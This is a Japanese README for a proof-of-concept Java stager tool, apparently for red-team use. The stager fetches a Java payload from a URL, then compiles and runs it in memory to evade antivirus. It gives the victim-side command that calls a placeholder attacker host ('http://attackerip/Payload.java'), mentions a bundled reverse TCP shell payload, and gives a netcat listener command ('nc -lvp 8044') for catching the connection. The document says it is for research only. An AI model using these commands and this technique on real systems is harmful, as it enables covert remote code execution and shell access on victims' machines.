
メモリ上でJavaファイルをダウンロード、コンパイル、および実行できるPoC Java Stager。
メモリ内でJavaファイルをダウンロード、コンパイル、実行できるPoC Java Stagerです。
これは研究目的のみであり、許可されていない場所では使用しないでください。
これはJames Williams氏のトーク「Next Gen AV vs My Shitty Code」の成果に基づいています。動画はこちら:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
私にとってトークの重要な部分は以下の通りです:
彼の例は.NETですが、トークではJavaでも同じ手法が可能だと示唆していました。上記の手法に合致する生のPoCを実装しました。
NetBeansの出力には次のような行が含まれます:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
被害者で動作させるには、"JavaStager*.jar"ファイルと、"target"フォルダからJaninoを含む"lib"フォルダをアップロードする必要があります。
以下のコマンドでStagerを実行します:
java -jar JavaStager-0.1-initial.jar
以下のように使用法が表示されます:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
「url」はStagerに渡される唯一のパラメータです。使用例は次の通りです:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
ペイロードは「Payload.java」というファイルに置き、エクスプロイトコードは「Run」という静的メソッドに記述する必要があります。以下は独自に作成する場合のテンプレートです:
public class Payload {
public static void Run() {
// Your code here
}
}
ファイル「TCPReverseShell.java」にサンプルのリバースTCPペイロードを用意しました。名前の衝突を避けるため、「Payload.java」という名前ではなく、クラス名も意図的に間違っています。 「TCPReverseShell.java」の先頭コメントに、動作させるための修正方法が説明されています。
「Payload.java」ファイルをHTTPサーバーでホストする必要があります。Apacheや、私のブログにあるPython2/3のシンプルなHTTP/HTTPSサービスを使用できます:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
攻撃者は、標準の nc -lvp 8044 テクニックを使用して、接続を受け取るためにnetcatリスナーを起動する必要があります。
動作の仕組みを説明するブログ記事:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
実際の動作を示す動画: